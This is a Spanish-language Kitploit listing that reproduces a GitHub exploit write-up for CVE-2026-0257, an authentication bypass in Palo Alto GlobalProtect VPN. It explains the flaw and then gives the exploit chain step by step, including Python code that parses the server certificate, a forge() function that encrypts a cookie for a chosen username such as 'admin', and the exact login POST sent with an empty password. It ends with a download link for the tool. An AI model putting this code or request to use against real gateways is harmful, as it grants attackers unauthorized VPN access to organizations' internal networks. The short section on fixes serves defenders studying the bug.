Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-0257 — Palo Alto Networks PAN-OS contiene una omisión de autenticación causada por fallos en el portal y la puerta de enlace de GlobalProtect, lo que permite a los atacantes establecer conexiones VPN no autorizadas; la explotación requiere acceso de red al portal o a la puerta de enlace. | Kitploit
Herramientas/GitHubGitHub/tushargurav28/cve-2026-0257
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad de RedesCriptografíaPruebas de PenetraciónAutenticaciónRed Teaming
GitHub
tushargurav28/cve-2026-0257

CVE-2026-0257

Ver Repositorio
33hace 3 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →

Acerca de

Palo Alto Networks PAN-OS contiene una omisión de autenticación causada por fallos en el portal y la puerta de enlace de GlobalProtect, lo que permite a los atacantes establecer conexiones VPN no autorizadas; la explotación requiere acceso de red al portal o a la puerta de enlace.

Compartir

CVE-2026-0257: Omisión de Autenticación en GlobalProtect

Resumen

Este exploit consigue acceso VPN sin autenticación a una pasarela/portal GlobalProtect de Palo Alto falsificando una cookie de autenticación usando únicamente el certificado TLS disponible públicamente del servidor.


La Vulnerabilidad Principal (Por Qué Funciona)

GlobalProtect utiliza una cookie pre-autenticación (portal-userauthcookie) para permitir que los clientes se autentiquen. Aquí está el fallo fatal:

root@kitploit:~
Flujo Normal:
  1. El cliente se autentica (usuario + contraseña)
  2. El servidor genera una cookie → la cifra con la clave PÚBLICA RSA del servidor
  3. El cliente guarda la cookie cifrada
  4. En la reconexión, el cliente envía la cookie → el servidor la descifra con la clave PRIVADA → confía en ella

El Bug:
  El servidor SOLO comprueba si la cookie se descifra correctamente con su clave privada.
  NO verifica QUIÉN la cifró ni si el contenido en texto plano es legítimo.

Dado que la clave pública RSA está incrustada en el certificado TLS del servidor (accesible públicamente para cualquiera que se conecte), cualquier atacante puede:

  1. Obtener la clave pública del certificado TLS
  2. Falsificar una cookie con cualquier nombre de usuario
  3. Cifrarla con la clave pública
  4. Enviarla al servidor → el servidor la descifra → la acepta como válida

Esto es un fallo de autenticación rota de manual — usar cifrado donde se necesitaba una firma digital o un HMAC.


La Cadena del Exploit (5 Pasos)

root@kitploit:~
flowchart TD
    A["Paso 1: Conexión TCP Cruda"] --> B["Paso 2: Enviar ClientHello TLS Manipulado"]
    B --> C["Paso 3: Parsear ServerHello → Extraer Certificados DER"]
    C --> D["Paso 4: Recorrer ASN.1 para Extraer la Clave Pública RSA"]
    D --> E["Paso 5: Falsificar Cookie Cifrada PKCS#1 v1.5"]
    E --> F["Paso 6: POST a /ssl-vpn/login.esp"]
    F --> G{"El Servidor Descifra la Cookie"}
    G -->|"Texto plano válido"| H[" Omisión de Autenticación — Acceso VPN Concedido"]
    G -->|"Inválido"| I[" Rechazado"]

Paso 1: Construir un ClientHello TLS Crudo

¿Por qué crudo? Necesitamos el certificado del servidor en formato DER (binario crudo). El módulo ssl de Python completa el handshake TLS internamente y no expone los bytes crudos del certificado de la misma manera. Al hacer una conexión TCP cruda y enviar un ClientHello hecho a mano, podemos interceptar la respuesta del servidor a nivel de bytes.

Formato de Red

Un registro TLS tiene este aspecto:

root@kitploit:~
┌──────────────────────────────────────────────────┐
│ Cabecera de Registro TLS (5 bytes)               │
│ ┌──────┬──────────┬────────────┐                 │
│ │ Tipo │ Versión  │ Longitud   │                 │
│ │ 0x16 │ 0x03 01  │  2 bytes   │                 │
│ │(Hshk)│(TLS 1.0) │            │                 │
│ └──────┴──────────┴────────────┘                 │
│                                                  │
│ Mensaje de Handshake                             │
│ ┌──────┬────────────┬─────────────────────────┐  │
│ │ Tipo │ Longitud   │      Cuerpo             │  │
│ │ 0x01 │  3 bytes   │  (ClientHello)          │  │
│ │(CHlo)│            │                         │  │
│ └──────┴────────────┴─────────────────────────┘  │
└──────────────────────────────────────────────────┘

Código: build_hello()

El cuerpo del ClientHello contiene:

CampoValorPropósito
Versión0x03 0x03 (TLS 1.2)Indicar al servidor que hablamos TLS 1.2
AleatorioMarca de tiempo de 4 bytes + 28 bytes aleatoriosNonce para el handshake
ID de Sesión0x00 (vacío)Sin reanudación de sesión
Suites de Cifrado9 suites incluyendo TLS_RSA_WITH_AES_128_CBC_SHAClave: incluimos cifrados solo-RSA para forzar al servidor a usar su certificado RSA
Compresión0x00 (ninguna)Obligatorio

Extensiones incluidas:

ExtensiónIDPropósito
SNI (Indicación de Nombre de Servidor)0x0000Indicar al servidor a qué hostname nos conectamos
Algoritmos de Firma0x000DAnunciar qué algoritmos de firma soportamos
Grupos Soportados0x000ACurvas EC que soportamos (P-256, P-384, P-521)
Formatos de Punto EC0x000BPuntos EC sin comprimir

[!NOTE] Las suites de cifrado incluyen intencionalmente cifrados de intercambio de claves RSA (0x002F = TLS_RSA_WITH_AES_128_CBC_SHA). Esto empuja al servidor a responder con su certificado RSA en lugar de uno ECDSA — lo cual es crítico porque el exploit solo funciona con RSA.


Paso 2: Recibir y Parsear la Respuesta del Servidor

Después de enviar el ClientHello, el servidor envía de vuelta múltiples registros TLS:

root@kitploit:~
Respuesta del Servidor:
  ┌─────────────────┐
  │ ServerHello      │  (tipo de handshake 2)
  ├─────────────────┤
  │ Certificate      │  (tipo de handshake 11) ← ESTE NOS INTERESA
  ├─────────────────┤
  │ ServerKeyExchange│  (tipo de handshake 12, opcional)
  ├─────────────────┤
  │ ServerHelloDone  │  (tipo de handshake 14) ← SEÑAL DE PARADA
  └─────────────────┘

Código: parse_certs()

Fase 1 — Quitar las cabeceras de registro TLS:

Cada registro TLS tiene una cabecera de 5 bytes: [tipo(1)] [versión(2)] [longitud(2)]. El código escanea todos los registros y, para cualquier registro con type == 22 (Handshake), concatena sus cargas útiles:

root@kitploit:~
while i + 5 <= len(data):
    t = data[i]                              # tipo de contenido
    rl = (data[i + 3] << 8) | data[i + 4]   # longitud del registro
    if t == 22:                              # Handshake
        hs.extend(data[i + 5: i + 5 + rl])  # tomar la carga útil
    i += 5 + rl                              # siguiente registro

Fase 2 — Encontrar el mensaje Certificate (tipo 11):

Dentro del flujo de handshake, cada mensaje tiene una cabecera de 4 bytes: [tipo(1)] [longitud(3)]. Escaneamos buscando type == 11:

root@kitploit:~
while j + 4 <= len(hs):
    ht = hs[j]                                           # tipo de handshake
    hl = (hs[j+1] << 16) | (hs[j+2] << 8) | hs[j+3]    # longitud de 3 bytes
    if ht == 11:  # Certificate!
        # Parsear la lista de certificados dentro

Fase 3 — Extraer los certificados DER individuales:

El mensaje Certificate contiene una lista de certificados, cada uno prefijado por una longitud de 3 bytes:

root@kitploit:~
Cuerpo del Mensaje Certificate:
┌───────────────────────────────────┐
│ Longitud Total de Certificados (3 bytes) │
├───────────────────────────────────┤
│ Longitud del Cert 1 (3 bytes)     │
│ Datos DER del Cert 1 (variable)   │
├───────────────────────────────────┤
│ Longitud del Cert 2 (3 bytes)     │
│ Datos DER del Cert 2 (variable)   │
├───────────────────────────────────┤
│ ...                               │
└───────────────────────────────────┘

En nuestra ejecución de prueba, obtuvimos 3 certificados (certificado hoja, CA intermedia, CA raíz).

Código: has_done()

Esta función escanea buscando ServerHelloDone (tipo de handshake 14), que nos indica que el servidor ha terminado de enviar y podemos dejar de leer.


Paso 3: Parsear el Certificado X.509 (ASN.1/DER)

Los certificados X.509 están codificados en DER (Distinguished Encoding Rules), que es un formato binario basado en ASN.1 (Abstract Syntax Notation One).

Formato ASN.1 TLV (Tag-Longitud-Valor)

Cada elemento en DER es:

root@kitploit:~
┌─────┬────────┬───────────────────┐
│ Tag │ Longitud │ Valor (payload)  │
│ 1B  │ 1-5B   │ variable          │
└─────┴────────┴───────────────────┘

Codificación de la longitud:

  • Si el byte es < 0x80: la longitud es ese byte directamente (forma corta)
  • Si el byte es ≥ 0x80: los 7 bits bajos = número de bytes siguientes que codifican la longitud (forma larga)
root@kitploit:~
# Ejemplo: byte de longitud = 0x82 → siguen 2 bytes más
# Siguientes 2 bytes: 0x06 0x4F → longitud = 0x064F = 1615 bytes

Código: rd_tl()

root@kitploit:~
def rd_tl(d, p):
    tag = d[p]; p += 1
    length = d[p]; p += 1
    if length & 0x80:                    # ¿forma larga?
        nb = length & 0x7F              # cuántos bytes siguen
        length = 0
        for _ in range(nb):
            length = (length << 8) | d[p]
            p += 1
    return {"tag": tag, "len": length, "pos": p}  # pos = inicio del valor

Estructura del Certificado X.509

root@kitploit:~
Certificate ::= SEQUENCE {              ← tag 0x30
  tbsCertificate SEQUENCE {              ← tag 0x30
    version      [0] EXPLICIT            ← tag 0xA0 (opcional)
    serialNumber INTEGER                 ← tag 0x02
    signature    SEQUENCE (AlgorithmID)  ← tag 0x30
    issuer       SEQUENCE                ← tag 0x30
    validity     SEQUENCE                ← tag 0x30
    subject      SEQUENCE                ← tag 0x30
    subjectPublicKeyInfo SEQUENCE {      ← tag 0x30  ★ ESTE NOS INTERESA ★
      algorithm SEQUENCE {               ← tag 0x30
        algorithm OID                    ← tag 0x06
        parameters (opcional)
      }
      subjectPublicKey BIT STRING {      ← tag 0x03
        RSAPublicKey SEQUENCE {          ← tag 0x30
          modulus    INTEGER             ← tag 0x02  ★ n ★
          exponent   INTEGER             ← tag 0x02  ★ e ★
        }
      }
    }
    ...
  }
  ...
}

Código: get_rsa_key()

La función recorre el árbol DER leyendo tag+longitud y saltando los campos que no necesitamos:

root@kitploit:~
# Entrar en el SEQUENCE exterior (Certificate)
r = rd_tl(der, 0)            # → SEQUENCE
# Entrar en el SEQUENCE tbsCertificate
r = rd_tl(der, p)            # → SEQUENCE
# Comprobar el tag de versión opcional
r = rd_tl(der, p)
if r["tag"] == 0xA0:         # campo de versión presente → saltarlo
    p = r["pos"] + r["len"]
    r = rd_tl(der, p)

# Saltar: serial → sigAlg → issuer → validity → subject
# (simplemente leer cada TLV y saltar más allá)

# AHORA estamos en subjectPublicKeyInfo
# Leer el AlgorithmIdentifier → comprobar si el OID = RSA
oid = der[r["pos"]: r["pos"] + r["len"]]
rsa_oid = [0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x01]
#          ↑ Esto es 1.2.840.113549.1.1.1 = rsaEncryption
if oid != rsa_oid:
    return None  # No es RSA (probablemente ECDSA)

# Leer el BIT STRING → saltar 1 byte (indicador de bits no usados)
# Leer el SEQUENCE interno → extraer modulus (n) y exponent (e)

Detalle importante — byte cero inicial en el modulus:

root@kitploit:~
if der[ms] == 0 and ml > 1:
    ms += 1    # quitar el 0x00 inicial
    ml -= 1

DER codifica los enteros como con signo. Si el bit alto del modulus es 1, se antepone un byte 0x00 para mantenerlo positivo. Lo quitamos porque necesitamos el valor unsigned crudo.

Para nuestro objetivo: modulus = 2048 bits (256 bytes), exponent = 65537 (0x10001)


Paso 4: Falsificar la Cookie de Autenticación (PKCS#1 v1.5)

Este es el corazón del exploit.

Qué Contiene la Cookie

El formato de la cookie en texto plano es:

root@kitploit:~
admin;;Windows;;1748928001;0.0.0.0
  │        │        │        │
  │        │        │        └── IP del cliente
  │        │        └── Marca de tiempo Unix
  │        └── Identificador de SO
  └── Nombre de usuario (elegimos "admin")

Relleno de Cifrado PKCS#1 v1.5 (Tipo 2)

Antes del cifrado RSA, el texto plano debe rellenarse hasta el tamaño de la clave (256 bytes para RSA de 2048 bits):

root@kitploit:~
┌──────┬──────┬──────────────────────────┬──────┬─────────────────────┐
│ 0x00 │ 0x02 │ Relleno aleatorio no cero │ 0x00 │ Mensaje en texto    │
│      │      │ (≥ 8 bytes)              │      │ plano               │
└──────┴──────┴──────────────────────────┴──────┴─────────────────────┘
  1B     1B      padLen bytes              1B      bytes del mensaje

Total = 256 bytes (= tamaño de la clave)

Código: forge()

root@kitploit:~
def forge(n, e, kl, username):
    ts = str(int(time.time()))
    pt = str2b(username + ";;Windows;;" + ts + ";0.0.0.0")

    pad_len = kl - len(pt) - 3    # 3 = 0x00 + 0x02 + separador 0x00
    if pad_len < 8:                # PKCS#1 requiere ≥ 8 bytes de relleno
        return ""

    em = bytearray([0x00, 0x02])   # Cabecera de relleno Tipo 2
    for _ in range(pad_len):
        em.append(random.randint(1, 255))  # ¡bytes aleatorios no cero!
    em.append(0x00)                # separador
    cat(em, pt)                    # añadir texto plano

    # Cifrado RSA: ciphertext = em^e mod n
    return b64_encode(bi2bytes(modpow(bytes2bi(em), e, n), kl))

La matemática RSA:

root@kitploit:~
ciphertext = plaintext^e mod n

Donde:
  plaintext = el mensaje rellenado como entero grande (256 bytes → ~2048 bits)
  e = 65537 (exponente público)
  n = el modulus de 2048 bits del certificado

[!IMPORTANT] Esto funciona porque el cifrado RSA usa la clave pública (n, e), que cualquiera puede obtener del certificado TLS. El servidor lo descifrará con su clave privada (n, d) y obtendrá el texto plano — admin;;Windows;;timestamp;0.0.0.0.

El servidor entonces confía en este texto plano a ciegas — nunca verifica que la cookie fue emitida legítimamente por él mismo.


Paso 5: Enviar la Cookie Falsificada al Endpoint de Login

Código: test_cookie()

La cookie falsificada se envía como un POST HTTPS estándar al endpoint de login de GlobalProtect:

root@kitploit:~
POST /ssl-vpn/login.esp HTTP/1.1
Host: 1.255.199.2
Content-Type: application/x-www-form-urlencoded
User-Agent: GlobalProtect/6.0.0
Content-Length: ...
Connection: close

prot=https
&server=1.255.199.2
&user=admin
&passwd=                          ← ¡vacío! no se necesita contraseña
&context=gateway                  ← o "portal"
&clientos=Windows
&clientgpversion=6.0.0
&portal-userauthcookie=<BASE64_FORGED_COOKIE>
&portal-prelogonuserauthcookie=

[!NOTE] El campo passwd está vacío. El servidor no comprueba la contraseña en absoluto — se basa enteramente en portal-userauthcookie para la autenticación.

El exploit prueba dos endpoints:

  1. Gateway (context=gateway): Acceso directo al túnel VPN
  2. Portal (context=portal): Acceso a la configuración del portal

Detección de Éxito

root@kitploit:~
def is_gateway_success(resp, user):
    # Comprobar HTTP 200
    # Comprobar <status>Success</status> en el cuerpo XML
    # O la etiqueta <argument> que contiene el nombre de usuario

Paso 6: Qué Ocurre en el Lado del Servidor

root@kitploit:~
sequenceDiagram
    participant A as Atacante
    participant GP as Servidor GlobalProtect

    A->>GP: Conexión TCP (puerto 443)
    A->>GP: ClientHello TLS crudo (hecho a mano)
    GP->>A: ServerHello + Certificate (contiene la clave pública RSA)
    GP->>A: ServerHelloDone
    Note over A: Extrae la clave pública RSA (n, e) del certificado
    Note over A: Falsifica cookie: RSA_encrypt("admin;;Windows;;ts;0.0.0.0", pubkey)
    A->>GP: POST /ssl-vpn/login.esp (sobre TLS)
    Note over GP: Recibe portal-userauthcookie
    Note over GP: Descifra con la clave privada RSA
    Note over GP: Obtiene "admin;;Windows;;ts;0.0.0.0"
    Note over GP: ⚠️ Confía a ciegas — ¡sin comprobación de firma!
    GP->>A: HTTP 200 OK + <status>Success</status>
    Note over A: 🎉 Acceso VPN completo como "admin"

Por Qué Este Es un Bug Devastador

AspectoImpacto
No se necesitan credencialesLa clave pública es literalmente pública — cualquiera que se conecte la obtiene
Sin fuerza brutaUna sola petición por intento, siempre tiene éxito en servidores vulnerables
Pre-autenticaciónExplotable antes de cualquier login — no se necesita sesión existente
Suplantación de usuarioEl atacante elige cualquier nombre de usuario (admin, CEO, etc.)
Acceso VPN completoUna vez autenticado, el atacante está en la red interna
Sin registro de fallos de contraseñaComo la autenticación es vía cookie, las alertas de contraseña fallida no se activan

La Solución (Lo Que Palo Alto Debería Hacer)

El problema fundamental es usar cifrado para la autenticación. Los enfoques correctos:

  1. Firmas Digitales: El servidor debería firmar la cookie con su clave privada, no descifrar una cifrada. Luego verificar la firma en la re-autenticación.

  2. HMAC: Usar una clave secreta del lado del servidor para aplicar HMAC a la carga útil de la cookie. Solo el servidor conoce el secreto, por lo que las cookies no pueden falsificarse.

  3. Token Binding: Vincular la cookie a la sesión de autenticación original para que no pueda reproducirse desde un contexto diferente.

root@kitploit:~
Roto:    cookie = RSA_encrypt(userdata, public_key)   ← ¡cualquiera puede hacer esto!
Arreglado: cookie = HMAC(server_secret, userdata)      ← solo el servidor puede hacer esto

Resumen: Flujo de Datos Completo

root@kitploit:~
1. Conexión TCP al objetivo:443
2. Enviar ClientHello hecho a mano (bytes crudos sobre TCP, NO TLS)
3. Recibir ServerHello + Certificate + ServerHelloDone
4. Parsear registros TLS → extraer mensajes de handshake
5. Encontrar el mensaje Certificate (tipo 11) → extraer certificados codificados en DER
6. Recorrer la estructura ASN.1/DER del certificado hoja:
   SEQUENCE → SEQUENCE → [version] → serial → sigAlg → issuer → validity → subject
   → subjectPublicKeyInfo → algorithmIdentifier (comprobar OID = RSA)
   → BIT STRING → SEQUENCE → modulus (n) + exponent (e)
7. Construir texto plano: "admin;;Windows;;1748928001;0.0.0.0"
8. Relleno PKCS#1 v1.5: 0x00 0x02 [aleatorio≥8] 0x00 [texto plano]
9. Cifrado RSA: ciphertext = padded^e mod n
10. Codificar en Base64 → codificar URL
11. POST a /ssl-vpn/login.esp con la cookie falsificada (sobre TLS adecuado)
12. El servidor descifra → confía a ciegas → concede acceso VPN
Descargar herramienta